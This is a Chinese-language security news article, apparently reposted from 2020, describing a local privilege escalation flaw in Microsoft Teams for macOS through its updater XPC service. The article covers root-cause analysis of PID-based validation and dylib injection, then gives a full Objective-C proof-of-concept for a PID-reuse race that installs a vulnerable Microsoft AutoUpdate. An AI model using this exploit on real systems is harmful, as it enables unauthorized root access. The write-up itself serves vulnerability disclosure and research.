安全動(dòng)態(tài)

MICROSOFT TEAMS MACOS版本本地權(quán)限提升漏洞

來(lái)源:聚銘網(wǎng)絡(luò)    發(fā)布時(shí)間:2020-11-25    瀏覽次數(shù):
 

信息來(lái)源:嘶吼網(wǎng)

Offensive Security安全研究人員在Microsoft Teams的XPC 服務(wù)中發(fā)現(xiàn)了一個(gè)安全漏洞,并將漏洞報(bào)告給了MSRC,微軟確認(rèn)了該漏洞但決定不立即修復(fù)。

漏洞根源分析

漏洞是兩個(gè)不同問(wèn)題引發(fā),當(dāng)這兩個(gè)問(wèn)題組合在一起時(shí)就會(huì)引發(fā)漏洞利用場(chǎng)景:

· 不安全的XPC 連接驗(yàn)證;

· 安裝包用戶控制和包簽名驗(yàn)證不充分;

XPC 服務(wù)是由/Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist 文件啟動(dòng)的。

% sudo plutil -convert xml1 /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist -o -
 

 

   Label com.microsoft.teams.TeamsUpdaterDaemon MachServices  
     com.microsoft.teams.TeamsUpdaterDaemon 
       Program /Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon

圖1 – Microsoft Teams Updater launchd文件

其中含有一個(gè)名為com.microsoft.teams.TeamsUpdaterDaemon 的Mach服務(wù),可執(zhí)行路徑為/Applications/MicrosoftTeams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon。這個(gè)位置是很不尋常的,因?yàn)轭愃频姆?wù)一般安裝在 /Library/PrivilegedHelperTools/ 目錄下。

研究人員用Hopper 打開(kāi)了該二進(jìn)制文件,開(kāi)始分析shouldAcceptNewConnection: 方法,該方法負(fù)責(zé)控制對(duì)XPC 服務(wù)的連接訪問(wèn)。

/* @class ServiceDelegate */
 
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
 
r12 = [arg3 retain];
 
rdx = r12;
 
r14 = [self isValidConnection:rdx];

圖 2 –shouldAcceptNewConnection: 方法開(kāi)始部分

shouldAcceptNewConnection: 方法會(huì)接受NSXPCConnection 對(duì)象作為參數(shù),其中含有對(duì)連接的客戶端的引用。本例中參數(shù)是arg3,會(huì)立刻傳遞給isValidConnection: 方法來(lái)驗(yàn)證連接的客戶端。isValidConnection: 方法如下所示:

-(char)isValidConnection:(void *)arg2 {
 
r13 = [arg2 retain];
 
rbx = [[Logger getInstance] retain];
 
[rbx logInfo:@"Validating connection"];
 
[rbx release];
 
rbx = [arg2 processIdentifier];

圖3 – isValidConnection: 方法

isValidConnection: 方法會(huì)獲取客戶端的PID,用于之后的驗(yàn)證。如果開(kāi)發(fā)者使用auditToken 特征而不是PID,那么XPC 服務(wù)就可以驗(yàn)證連接的服務(wù)是不是期望的了。但是,因?yàn)镻ID可以重用,因此驗(yàn)證是可能被繞過(guò)的。

通過(guò)processIdentifier 的連接的驗(yàn)證是非常復(fù)雜的。但是因?yàn)槭褂昧薖ID 就可能會(huì)被繞過(guò)。

通過(guò)分析主應(yīng)用的代碼簽名可以發(fā)現(xiàn)另外一個(gè)問(wèn)題:

% codesign -dv --entitlements :- /Applications/Microsoft\ Teams.app
 
Executable=/Applications/Microsoft Teams.app/Contents/MacOS/Teams
 
Identifier=com.microsoft.teams
 
Format=app bundle with Mach-O thin (x86_64)
 
CodeDirectory v=20500 size=383 flags=0x10000(runtime) hashes=3+5 location=embedded
 
Signature size=9060
 
Timestamp=2020. Jun 4. 3:32:37
 
Info.plist entries=17
 
TeamIdentifier=UBF8T346G9
 
Runtime Version=10.12.0
 
Sealed Resources version=2 rules=13 files=128
 
Internal requirements count=1 size=180
 

 

   com.apple.security.device.camera  com.apple.security.device.audio-input  com.apple.security.personal-information.location  com.apple.security.automation.apple-events  com.apple.security.cs.allow-jit  com.apple.security.cs.allow-unsigned-executable-memory  com.apple.security.cs.disable-library-validation  com.apple.security.cs.disable-executable-page-protection

圖4 – “Microsoft Teams.app”的代碼簽名

即時(shí)使用了audit_token,MS Teams 應(yīng)用仍然可能會(huì)受到dylib代理攻擊的影響,因?yàn)閏om.apple.security.cs.disable-library-validation entitlement 被設(shè)置為true。因此,攻擊者可以向應(yīng)用注入dylib、當(dāng)其連接到XPC 服務(wù)時(shí)冒充它。

雖然app的文件夾只有root用戶可寫(xiě),并且無(wú)法替換其中的dylib,但是惡意攻擊者可以將其復(fù)制到任意文件,然后注入到復(fù)制的應(yīng)用中。

可以看到app文件夾中可以被劫持的dylib很多,比如:

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libskypert.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmControl.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libssScreenVVS2.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmMediaStack.dylib
/Applications/Microsoft Teams.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib

圖5 – “Microsoft Teams.app” 中的Dylibs

installUpdateWithPackage:withPreferences:withReply: 方法會(huì)將包路徑作為參數(shù)接受。該路徑是由用戶控制的,可以是文件系統(tǒng)中的任何文職。該方法會(huì)檢查文件是否存在,如果存在就清空應(yīng)用支持文件夾。然后,該方法調(diào)用copyPkgToAppSupport: 來(lái)復(fù)制包到應(yīng)用支持文件夾,該文件夾只有root 用戶才可以訪問(wèn)。這會(huì)鎖定復(fù)制的文件并驗(yàn)證。

該包被復(fù)制后,會(huì)調(diào)用validatePackage: 方法。

validatePackage: 方法會(huì)用pkgutil 來(lái)檢查包是否是代碼簽名的,如果是,就調(diào)用_FValidMicrosoftPackage。

 _FValidMicrosoftPackage 函數(shù)負(fù)責(zé)驗(yàn)證微軟的簽名。驗(yàn)證并不能預(yù)防老的、有漏洞的微軟應(yīng)用的安裝。

總的來(lái)看,研究人員發(fā)現(xiàn)可以執(zhí)行dylib 劫持或PID 重用攻擊來(lái)與MS teams的XPC 服務(wù)對(duì)話。該服務(wù)會(huì)暴露一個(gè)允許安裝定制的微軟簽名的安裝包的函數(shù)。如果簽名驗(yàn)證正確完成,就可以安裝可能含有有漏洞的老版本的微軟應(yīng)用。

漏洞利用

為了利益Teams應(yīng)用漏洞,首先需要連接X(jué)PC 服務(wù)。為此,研究人員用經(jīng)典的競(jìng)爭(zhēng)條件PID 重用攻擊。因?yàn)槊總€(gè)對(duì)XPC 服務(wù)的調(diào)用都會(huì)執(zhí)行clearPkgsInAppSupport: 方法,應(yīng)用支持文件夾的內(nèi)容會(huì)被刪除,只需要贏得競(jìng)爭(zhēng)條件就可以了。如果贏得了競(jìng)爭(zhēng)條件,復(fù)制的文件就會(huì)被刪除,引發(fā)漏洞利用失敗。

一旦與XPC 服務(wù)通信,就可以安裝Microsoft AutoUpdate (MAU) 4.20,其中包含本地權(quán)限提升漏洞。

漏洞利用方案如下:

· 通過(guò)PID 重用攻擊與XPC 服務(wù)通信;

· 安裝有漏洞的Microsoft AutoUpdate 版本;

· 利用MAU XPC服務(wù)中的權(quán)限提升漏洞(CVE-2020-0984)。

在運(yùn)行漏洞利用代碼前,需要將有漏洞的MAU 安裝器放在正確的位置。研究人員將下載Microsoft_AutoUpdate_4.20.20020900_Updater.pkg 包,并將其放置在 /tmp/ 目錄。然后調(diào)用XPC 服務(wù)的 installUpdateWithPackage:withPreferences:withReply: 方法,并執(zhí)行PID 重用攻擊。

PoC 代碼如下:

#import #include #include  
@protocol TeamsUpdaterDaemonProtocol
- (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3;
- (void)ping:(void (^)(void))arg1;
@end
 
int main(void) {
 
//Only 2 is the race count, more than that will result in deletion of our own pkg files
#define RACE_COUNT 2
// Define application allowed to communicate with XPC service
#define kValid "/Applications/Microsoft Teams.app/Contents/MacOS/Teams"
extern char **environ;
 
int pids[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++)
{
int pid = fork();
//Only enter for child process
if (pid == 0)
{
NSString* _serviceName = @"com.microsoft.teams.TeamsUpdaterDaemon";
//Connect to Vulnerable XPC Service
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(TeamsUpdaterDaemonProtocol)]];
[_agentConnection resume];
 
// Handle error if one occurs
id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
(void)error;
NSLog(@"Connection Failure");
}];
 
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", _agentConnection);
 
//run MS installer
//pkg path
NSString* pkg = @"/tmp/Microsoft_AutoUpdate_4.20.20020900_Updater.pkg";
 
//preferences dictionary objects, a random UID, and the current user's name
NSDictionary *dict = [NSDictionary dictionaryWithObjects:@[@"48fe48cc-1c3a-4bf8-a731-1947150b4a3f",NSUserName()]
forKeys:@[@"TeamsPreferenceCorrelationId",@"TeamsPreferenceUsername"]];
 
//call the XPC
[obj installUpdateWithPackage:pkg withPreferences:dict withReply:^(NSString* arg3){
NSLog(@"%@",arg3);
}];
//Spawn a new process with a pid reused of the current child. This process will have a valid MS signature since we spawn MS Teams
//Once the connection is verified with the valid spawned process, the message sent above will be consumed
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// keep the children alive
sleep(10);
 
cleanup:
for (int i = 0; i < RACE_COUNT; i++)
{
pids[i] && kill(pids[i], 9);
}
}

可以用下面的命令編譯PoC 代碼:

gcc -framework Foundation msteamspid.m -o msteamspid

運(yùn)行漏洞利用后,需要檢查MAU 包是否安裝過(guò)。因?yàn)槁┒蠢檬褂昧烁?jìng)爭(zhēng)條件,可能需要多次運(yùn)行。根據(jù)機(jī)器的速度,RACE_COUNT 變量可能需要調(diào)整。

根據(jù)位于 /Library/Logs/Microsoft/Teams/updater.log的 XPC 服務(wù)日志,下面的記錄會(huì)出現(xiàn)一次,否則漏洞利用將會(huì)失敗。

2020-07-05 15:35:28[TeamsUpdaterDaemon]<727>-信息-連接驗(yàn)證

多次調(diào)用 installUpdateWithPackage:withPreferences:withReply: 可能會(huì)在clearPkgsInAppSupport: 調(diào)用過(guò)程中引發(fā)pkg 文件移除,安裝將會(huì)失敗。

成功利用了Microsoft Teams漏洞后,需要通過(guò)XPC 調(diào)用剛剛安裝的MAU 應(yīng)用。MAU 漏洞利用可以通過(guò)注入dylib 來(lái)完成。

 
 

上一篇:2020年11月24日聚銘安全速遞

下一篇:巴爾干化升級(jí):全球互聯(lián)網(wǎng)審查現(xiàn)狀